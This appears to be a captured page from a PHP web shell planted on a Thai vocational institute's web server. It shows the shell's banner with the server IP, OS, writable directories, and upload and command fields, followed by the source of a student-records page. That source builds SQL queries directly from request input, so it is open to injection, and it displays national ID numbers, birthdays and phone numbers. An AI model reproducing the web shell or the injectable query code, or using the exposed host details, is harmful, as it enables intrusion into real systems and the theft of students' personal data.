403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.119.120.88
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/stdcard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/stdcard/stdData.php
<?php 
error_reporting(0);
include("connect/connect.php");
//echo "999999";
function form_select(){
	$sql = "SELECT DISTINCT minor_name FROM tblstd_idcard";
	$query = mysql_query($sql);
	while ($data=mysql_fetch_assoc($query)) {
		$item[] = $data['minor_name'];
	}
	return $item;
}
?>
<!doctype html>
<html>
	<head>
		<meta charset="utf-8">
		<title>student check New</title>
		<link rel="icon" href="Blooper.ico">
		<!-- Latest compiled and minified CSS -->
		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
		<!-- Optional theme -->
		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap-theme.min.css" integrity="sha384-fLW2N01lMqjakBkx3l/M9EahuwpSfeNvV63J5ezn3uZzapT0u7EYsXMjQV+0En5r" crossorigin="anonymous">
		<!-- Latest compiled and minified JavaScript -->
		<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
		<style>
		.container{
			width:100%;
			margin-top:10px;
			margin-left:auto;
		margin-right:auto;
		}
		
		</style>
        
<!------------นำเมาส์ชี้ที่่รูปแล้วเกิดภาพซ้อน------------------->
<style type="text/css"> 
 
/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */
 
.thumbnail{
position: relative;
z-index: 0;
}
 
.thumbnail:hover{

background-color: transparent; 
z-index: 50;
}
 
.thumbnail span{ /*CSS for enlarged image*/
position: absolute;
background-color: lightyellow;/* สีขอบรูปใหญ่ */
padding: 5px; /*ขนาดเส้นกรอบ */
left: -1000px;
border: 1.5px dashed gray; /*ขนาดและสีเส้นปะ*/
visibility: hidden;
color: black;
text-decoration: none ;
}

 
.thumbnail span img{ /*CSS for enlarged image*/
border-width: 0;
padding: 2px;
}
 
.thumbnail:hover span{ /*CSS for enlarged image on hover*/
visibility: visible;
top: 10;
left: 0px; /*รูปเยื้องทางซ้าย*/
 
}
.style24 {color: #FFFFFF}
</style>

<!---------------------------->
	</head>
	<body>
		<div class="container">
		<div class="page-header">
 				 <h1>ข้อมูลนักศึกษาสถาบันการอาชีวศึกษาภาคกลาง 2<small>    <?php //echo date("Y")+543;?></small></h1>
				</div>
	
			<form method="post" name="from1" class="form-horizontal">
				<div class="form-group">
					<label for="inputEmail3" class="col-sm-2 control-label">เลือกดูตามสาขาวิชา</label>
					<div class="col-sm-10">
						<select class="form-control" name="dep">
						<option value="0">select</option>
						<?php 
							$data = form_select();
							foreach ($data as $key => $value) {
						?>
						  <option value='2,<?php echo $value;?>'><?php echo $value; ?></option>
						  
						<?php } ?>
						</select>
					</div>
				</div>

				<div class="form-group">
					<label for="inputEmail3" class="col-sm-2 control-label">ค้นหาตามต้องการ</label>
					<div class="col-sm-10">
						<input type="text" name="q" class="form-control" id="inputEmail3" placeholder="">
					</div>
				</div>
				<div class="form-group">
					<div class="col-sm-offset-2 col-sm-10">
						<button type="submit" class="btn btn-default">ค้นหา</button>
						   <a href="index.php "><button type="button" class="btn btn-success">กลับหน้าหลัก</button></a>
					</div>
				</div>
				
				</from>
				<?php
					
					$q = $_POST['q'];

					//echo $_POST['dep'];
					
						if($q == '' && $_POST['dep'] == '0' && $_GET['q'] == ''){
						//$sql = "SELECT * FROM tblstd_idcard WHERE years = '".(date("Y")+543)."' LIMIT 20";
						$sql = "SELECT * FROM tblstd_idcard order by idschool,major_id,student_id,years desc";
						//echo "sql1=>".$sql;
						}else if($_POST['dep'] != '0' && $q == '' &&$_POST['dep'] != ''){
							//echo $_POST['dep']."sfsdf";
							$dep = explode(',', $_POST['dep']);
							//echo "dep";
							$sql = "SELECT * FROM tblstd_idcard WHERE  minor_name LIKE '".$dep[1]."'  ORDER BY student_id ASC";
							//echo "sql1--->".$sql;
						}else if($q != ''){
						//echo $q;
							$re = 1;
						$sql = "SELECT * FROM tblstd_idcard WHERE (student_id LIKE '%$q%' OR stu_fname LIKE '%$q%' OR people_id LIKE '%$q%' OR perfix_id LIKE '%$q%' OR stu_lname LIKE '%$q%' OR minor_name LIKE '%$q%') ORDER BY student_id ASC";

						//echo "sql3=>".$sql;
						}else if($_GET['q'] != ''){
							//echo "sdfs";
							$q = $_GET['q'];
							$re = 1;
						$sql = "SELECT * FROM tblstd_idcard WHERE (student_id LIKE '%$q%' OR stu_fname LIKE '%$q%' OR people_id LIKE '%$q%' OR perfix_id LIKE '%$q%' OR stu_lname LIKE '%$q%' OR minor_name LIKE '%$q%') ORDER BY student_id ASC";
						}

						if($sql == '')
							//$sql = "SELECT * FROM tblstd_idcard WHERE years = '".(date("Y")+543)."' LIMIT 20";
								$sql = "SELECT * FROM tblstd_idcard order by idschool,major_id,student_id,years desc";
					//echo $sql;

					$query = mysql_query($sql) or die(mysql_error());
					$totalstd=mysql_num_rows($query);
					?>
<table class="table table-hover table-bordered">
                 <tr><td colspan="10" align="center"><strong>จำนวนนักศึกษาทั้งหมด <?php echo $totalstd;?> คน</strong></td></tr>
					<tr align="center">
						<th>ลำดับที่</th>
						<th>รหัสนักศึกษา</th>
						<th>เลขบัตรประชาชน</th>
						<!--<th>คำนำหน้าชื่อ</th>-->
						<th colspan="3" align="center">ชื่อ - นามสกุล</th>
						<!--<th>stu_lname</th>-->
					  <th>ว/ด/ป เกิด</th>
						<th>สาขาวิชา</th>
						<th>สถานศึกษา</th>
                        <th>เบอร์ติดต่อ</th>
					</tr>
					<?php
					$n=1;
					while ($data = mysql_fetch_assoc($query)){

						$data['student_id_main'] = $data['student_id'];
						
						if($data['perfix_id'] == 002){
							$perfix2="นาย";
						}else if($data['perfix_id'] == 003){
							$perfix2="นางสาว";
						}else if($data['perfix_id'] == 004){
							$perfix2="นาง";
						}else if($data['perfix_id'] == 009){
							$perfix2="จ.ส.ท.";
						}
						
						if($re == 1){
							
							$data['student_id'] = str_replace($q, '<mark>'.$q.'</mark>', $data['student_id']);
							$data['people_id'] = str_replace($q, '<mark>'.$q.'</mark>', $data['people_id']);
							$data['perfix_id'] = str_replace($q, '<mark>'.$q.'</mark>', $data['perfix_id']);
							$data['stu_fname'] = str_replace($q, '<mark>'.$q.'</mark>', $data['stu_fname']);
							$data['stu_lname'] = str_replace($q, '<mark>'.$q.'</mark>', $data['stu_lname']);
							$data['minor_name']= str_replace($q, '<mark>'.$q.'</mark>', $data['minor_name']);
						}
						
							$str_defaultfilepicname = "00.jpg"; // ให้ไฟล์รูปชื่อ 00.png เป็นรูป Default
							$str_filepicname = $data['student_id'].".jpg"; // ให้ไฟล์รูปชื่อ 01.png เป็นรูปที่ต้องการตรวจสอบ
							$str_imgpath = "photo_std/"; // Path รูป
							$str_imgfullpath = $str_imgpath . $str_filepicname; // นำ Path รูป มาเชื่อมกับ ชื่อรูป
							//echo "pic=>". $str_imgfullpath;
							
							if (file_exists($str_imgfullpath)) // ตรวจสอบว่ามีไฟล์รูปตาม Path ในตัวแปร $str_imgfullpath หรือไม่
							   $str_imgfullpath = $str_imgpath . $str_filepicname; // ถ้ามีไฟล์รูปให้ Path ชี้ที่ไฟล์รูปที่ต้องการ        
																	  
							else
							   $str_imgfullpath = $str_imgpath . $str_defaultfilepicname; // ถ้าไม่มีไฟล์รุปให้ Path ชี้ไปที่ไฟล์รูป Default
					?>
                   
<tr>
						<td><?php echo $n++; ?></td>
						<td><?php echo $data['student_id'];?></td>
						<td><?php echo $data['people_id'];?></td>
						<!--<td><?php //echo $perfix2;?></td>-->
						<td colspan="2"><a class="thumbnail" href="#" title=""><span><img alt="" src="<?php echo $str_imgfullpath;?>" width="200" /></span><?php echo $perfix2.$data['stu_fname'];?></a></td>
						<td><?php echo $data['stu_lname'];?></td>
						<td><?php echo $data['birthday'];?></td>
						<td><?php echo $data['minor_name'];?></td>
						<td><?php echo $data['school'];?></td>
						<td><?php echo $data['stdTel'];?></td>

  </tr>
					<?php
					}//end
					?>
				</table>
			</table>
		</body>
	</html>

Youez - 2016 - github.com/yon3zu
LinuXploit